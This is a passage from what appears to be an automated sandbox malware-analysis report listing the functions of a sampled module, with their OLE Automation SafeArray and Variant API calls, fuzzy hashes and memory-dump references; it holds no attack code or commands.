Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$Clear$Init$Copy
String ID:
API String ID: 3214764494-0
Opcode ID: 601a00018c8a5b6b35150236395115cc1b8281d4488cc6a18b58cb2cbca8c67d
Instruction ID: 6281e93be5add24308e189e3a5b87389d62047ac60d41e2db44baed36f9d7bb5
Opcode Fuzzy Hash: 601a00018c8a5b6b35150236395115cc1b8281d4488cc6a18b58cb2cbca8c67d
Instruction Fuzzy Hash: B77145762083459FD300DF69C884A5BB7E9FF89714F408A5DFA99DB290D731E805CB62

Function 6896CD20 Relevance: 15.5, APIs: 10, Instructions: 485
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6896CD5C
VariantInit.OLEAUT32(?), ref: 6896CD65
VariantInit.OLEAUT32(?), ref: 6896CD6B
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6896CD76
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6896CDAA
VariantClear.OLEAUT32(?), ref: 6896CDB7
SafeArrayDestroy.OLEAUT32(00000000), ref: 6896D2A5
VariantClear.OLEAUT32(?), ref: 6896D2B5
VariantClear.OLEAUT32(?), ref: 6896D2BB
VariantClear.OLEAUT32(?), ref: 6896D2C1

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$Clear$ArrayInitSafe$CreateDestroyElementVector
String ID:
API String ID: 2515392200-0
Opcode ID: 5cd429927259d4aba13020212c09230b745ec74676a52fef6ad4539e88eb111e
Instruction ID: cdcca5604391297bb3c072bd3b3b92887c141a5ec53bdf6d485410956ff37160
Opcode Fuzzy Hash: 5cd429927259d4aba13020212c09230b745ec74676a52fef6ad4539e88eb111e
Instruction Fuzzy Hash: ED120675A15705AFD718DB94DD84DAAB3B9BF8C300F54466CF50A9BB91CA30F841CB50

Function 689666A0 Relevance: 15.2, APIs: 10, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32 ref: 689666DB
VariantInit.OLEAUT32 ref: 689666EA
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 68966700
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6896673A
VariantClear.OLEAUT32(?), ref: 68966747
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 68966787
VariantClear.OLEAUT32(?), ref: 68966794
SafeArrayDestroy.OLEAUT32(00000000), ref: 68966849
VariantClear.OLEAUT32(?), ref: 6896685A
VariantClear.OLEAUT32(?), ref: 68966861

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$ArrayClearSafe$ElementInit$CreateDestroyVector
String ID:
API String ID: 551789342-0
Opcode ID: 46bc778c0eae33bb25863cfaada9efdbb8f56aa5ac0ae3ebba77713a57b1c894
Instruction ID: e05cc51e898218514073d24e7ae532c2093fa0e3264d475d6ecd308501563b65
Opcode Fuzzy Hash: 46bc778c0eae33bb25863cfaada9efdbb8f56aa5ac0ae3ebba77713a57b1c894
Instruction Fuzzy Hash: 3C516976208206AFD701CF64C844B9BBBE9FFD9724F008A5DF9559B250E731E905CBA2

Function 6896840E Relevance: 13.8, APIs: 9, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 689684BF
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 689684D2
SafeArrayGetElement.OLEAUT32 ref: 6896850A

Part of subcall function 68963A90: SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 68963B71
Part of subcall function 68963A90: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 68963B83

Part of subcall function 689669C0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 68966A08
Part of subcall function 689669C0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 68966A15
Part of subcall function 689669C0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 68966A41

SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Part of subcall function 6895DFB0: SafeArrayGetLBound.OLEAUT32(?,00000001,00000000), ref: 6895DFF6
Part of subcall function 6895DFB0: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6895E003
Part of subcall function 6895DFB0: SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6895E02F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$Bound$Destroy$Element
String ID:
API String ID: 959723449-0
Opcode ID: fbe5b340ad0e455916e98f702962ff35415a7f67b76f65e92d3026cf3bb48277
Instruction ID: 2e77389715c707d836e090e348ffabc014f17781b97b8bbd298ae21675bedfd3
Opcode Fuzzy Hash: fbe5b340ad0e455916e98f702962ff35415a7f67b76f65e92d3026cf3bb48277
Instruction Fuzzy Hash: 7BC15074A002049FEB14DF68CC94FADB7BDAF85318F908598E919FB286D771E980CB50

Function 68964170 Relevance: 13.8, APIs: 9, Instructions: 277COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 689641AF
VariantInit.OLEAUT32(?), ref: 689641B5
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 689641C0
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 689641F5
VariantClear.OLEAUT32(?), ref: 68964201
std::tr1::_Xweak.LIBCPMT ref: 68964450
SafeArrayDestroy.OLEAUT32(?), ref: 6896446D
VariantClear.OLEAUT32(?), ref: 6896447D
VariantClear.OLEAUT32(?), ref: 68964483

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateDestroyElementVectorXweakstd::tr1::_
String ID:
API String ID: 1774866819-0
Opcode ID: b43da871488684abd17bc70d9e44ed7dca59e3491c82850acc6c6c2b9271d987
Instruction ID: 792e62438a59e2cc68c6213d671918960f0ca3803a72292eaa7b142eafbe57d5
Opcode Fuzzy Hash: b43da871488684abd17bc70d9e44ed7dca59e3491c82850acc6c6c2b9271d987
Instruction Fuzzy Hash: 4DB136756006099FCB24DF98C884DAEB7F9BF8D310F558568E50AAB790DA34F841CB60

Function 6896C530 Relevance: 13.8, APIs: 9, Instructions: 259COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6896C56F
VariantInit.OLEAUT32(?), ref: 6896C575
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6896C580
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6896C5B5
VariantClear.OLEAUT32(?), ref: 6896C5C1
std::tr1::_Xweak.LIBCPMT ref: 6896C7D4
SafeArrayDestroy.OLEAUT32(?), ref: 6896C7F1
VariantClear.OLEAUT32(?), ref: 6896C801
VariantClear.OLEAUT32(?), ref: 6896C807

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateDestroyElementVectorXweakstd::tr1::_
String ID:
API String ID: 1774866819-0
Opcode ID: 88d6c654a0b0420a19f7549a12862ec46ce97a4a524355b1cff63728773266e2
Instruction ID: c5170153260ba8f6974d7bb26c7c80b2b0457ebdf13b2c876891020a8a7fee20
Opcode Fuzzy Hash: 88d6c654a0b0420a19f7549a12862ec46ce97a4a524355b1cff63728773266e2
Instruction Fuzzy Hash: 9AA148756006099FDB14DF98C884EEEB7F9BF8D314F548568E50AAB790CA34F841CB60

Function 68966880 Relevance: 13.6, APIs: 9, Instructions: 117COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 689668B2
VariantInit.OLEAUT32(?), ref: 689668BD
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 689668D7
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 689668FD
VariantClear.OLEAUT32(?), ref: 68966909
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 68966923
SafeArrayDestroy.OLEAUT32(00000000), ref: 68966981
VariantClear.OLEAUT32(?), ref: 6896699E
VariantClear.OLEAUT32(?), ref: 689669A4

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$ArraySafe$Clear$ElementInit$CreateDestroyVector
String ID:
API String ID: 3529038988-0
Opcode ID: 3abb970c013713532df13cf4cb6c97782484abbcaba3a83b668ed7a247d312b8
Instruction ID: a6873886d78718398dbf9debac75445116349e4e9d79400aa3b4d675e8dc685c
Opcode Fuzzy Hash: 3abb970c013713532df13cf4cb6c97782484abbcaba3a83b668ed7a247d312b8
Instruction Fuzzy Hash: C8415CB2A00209EFDB01DFA5C884AEEBBB8FF99314F144119E915A7240E775E945CFA0

Function 6895C020 Relevance: 12.3, APIs: 8, Instructions: 309COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6895C074
VariantInit.OLEAUT32(?), ref: 6895C07B
VariantInit.OLEAUT32(?), ref: 6895C082
VariantInit.OLEAUT32(?), ref: 6895C089
VariantClear.OLEAUT32(?), ref: 6895C312
VariantClear.OLEAUT32(?), ref: 6895C319
VariantClear.OLEAUT32(?), ref: 6895C320
VariantClear.OLEAUT32(?), ref: 6895C327

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$ClearInit
String ID:
API String ID: 2610073882-0
Opcode ID: fe4dfe0cd5c5e2a5a20c39288449a4c7fb3f8031d6c9be0163797bcf5a1109a3
Instruction ID: b033fee6051d682a393640369733d5373b2aab97a20df7faadec6e568108e42e
Opcode Fuzzy Hash: fe4dfe0cd5c5e2a5a20c39288449a4c7fb3f8031d6c9be0163797bcf5a1109a3
Instruction Fuzzy Hash: 46C144756087059FC300DF68C88491BBBE9FFC9708F648A4DF9A89B264D731E845CB92

Function 68966B10 Relevance: 9.4, APIs: 6, Instructions: 364COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(00000000,?,?), ref: 68966C8B
SafeArrayGetUBound.OLEAUT32(00000000,?,?), ref: 68966CA6
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 68966CC7

Part of subcall function 68965760: std::tr1::_Xweak.LIBCPMT ref: 68965769

SafeArrayUnaccessData.OLEAUT32(00000000), ref: 68966CF9

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

SafeArrayDestroy.OLEAUT32(00000000), ref: 68966F13
InterlockedCompareExchange.KERNEL32(689EC6A4,45524548,4B4F4F4C), ref: 68966F34

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$BoundData$AccessCompareDestroyExchangeInterlockedUnaccessXweak_mallocstd::tr1::_
String ID:
API String ID: 2722669376-0
Opcode ID: 68053203cc3ad0414c56b6461f41241e8fbee8135e11da85dbf16de2c3bf2783
Instruction ID: 570544fc4b0adfd4ae41f9db04b73bef813bba03a4f39d4203c41010ba05b5d7
Opcode Fuzzy Hash: 68053203cc3ad0414c56b6461f41241e8fbee8135e11da85dbf16de2c3bf2783
Instruction Fuzzy Hash: 88D127B4A002049FEB11CFA4C894BAF77F8FF45318F804469E6199B281D771EC90CBA1

Function 689516B0 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 487COMMON

Download Yara Rule

APIs

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

std::tr1::_Xweak.LIBCPMT ref: 68951B53
std::_Xinvalid_argument.LIBCPMT ref: 68951B5D
std::exception::exception.LIBCMT ref: 68951C43
__CxxThrowException@8.LIBCMT ref: 68951C58

Strings

invalid vector<T> subscript, xrefs: 68951B58

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentXweak_mallocstd::_std::exception::exceptionstd::tr1::_
String ID: invalid vector<T> subscript
API String ID: 3098024973-3016609489
Opcode ID: 1e8e81092ee5ca184fbbb4b683f4e7ee6a57d657ceecfbe16559481b4fb11b88
Instruction ID: b677c863b6b7b822c49258e68694a866d5e6e1425e83ecc07974bb87f3ee921a
Opcode Fuzzy Hash: 1e8e81092ee5ca184fbbb4b683f4e7ee6a57d657ceecfbe16559481b4fb11b88
Instruction Fuzzy Hash: 28223A75C007099FCB10CFA4C4809EEBBF9BF48314F558A5ED45AAB654E774EA88CB81

Function 6895DB30 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(689631EC), ref: 6895DB5E
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6895DB6E
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6895DB82
SafeArrayDestroy.OLEAUT32(00000000), ref: 6895DBF1
VariantClear.OLEAUT32(?), ref: 6895DBFB

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$Variant$ClearCreateDestroyElementInitVector
String ID:
API String ID: 182531043-0
Opcode ID: 0e0f9b42927923b3f47b80c8ade820dc3538063e4ddaeb12a789beadd6bd818c
Instruction ID: b9a213123742e6be919eaf7f1ddc2d2acc9e80cd95cb741c6f075097558bf7b2
Opcode Fuzzy Hash: 0e0f9b42927923b3f47b80c8ade820dc3538063e4ddaeb12a789beadd6bd818c
Instruction Fuzzy Hash: DA318F7AA04205AFD700DF54C848EEEBBB9FF9A710F11816AE911AB300D735E801CFA1

Function 6895D9F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(0000000D,00000000,?), ref: 6895DA16
SafeArrayPutElement.OLEAUT32(00000000,?,00000000), ref: 6895DA33
SafeArrayDestroy.OLEAUT32(00000000), ref: 6895DA9E

Strings

Aj?Q, xrefs: 6895DA27

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$CreateDestroyElementVector
String ID: Aj?Q
API String ID: 3149346722-52356588
Opcode ID: 68eb615be1c08a8a438c7be4419ebc373c63b1714585e20a4f0c188f9b524276
Instruction ID: 9c1726de94b7aeae73b49256a9612885cb60b3ea15139a39bead373e767dd924
Opcode Fuzzy Hash: 68eb615be1c08a8a438c7be4419ebc373c63b1714585e20a4f0c188f9b524276
Instruction Fuzzy Hash: F8213975304206EFEB00DFA9C884B9B77ACEF5A304F504069EA15DB340E771D921CBA2

Function 6895D920 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(0000000D,00000000,00000002), ref: 6895D949
SafeArrayPutElement.OLEAUT32(00000000,?,00000000), ref: 6895D96C
SafeArrayDestroy.OLEAUT32(00000000), ref: 6895D9CF

Strings

Aj?Q, xrefs: 6895D960

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$CreateDestroyElementVector
String ID: Aj?Q
API String ID: 3149346722-52356588
Opcode ID: a2bc5ee7694f55070bdae119a4d9aadfe9c0c434f44500b05ced7d726679e5f4
Instruction ID: acf417ed708cbfa4aa23cf966caa97aef080f1bf507d3e38a1a571cb0fd8fa97
Opcode Fuzzy Hash: a2bc5ee7694f55070bdae119a4d9aadfe9c0c434f44500b05ced7d726679e5f4
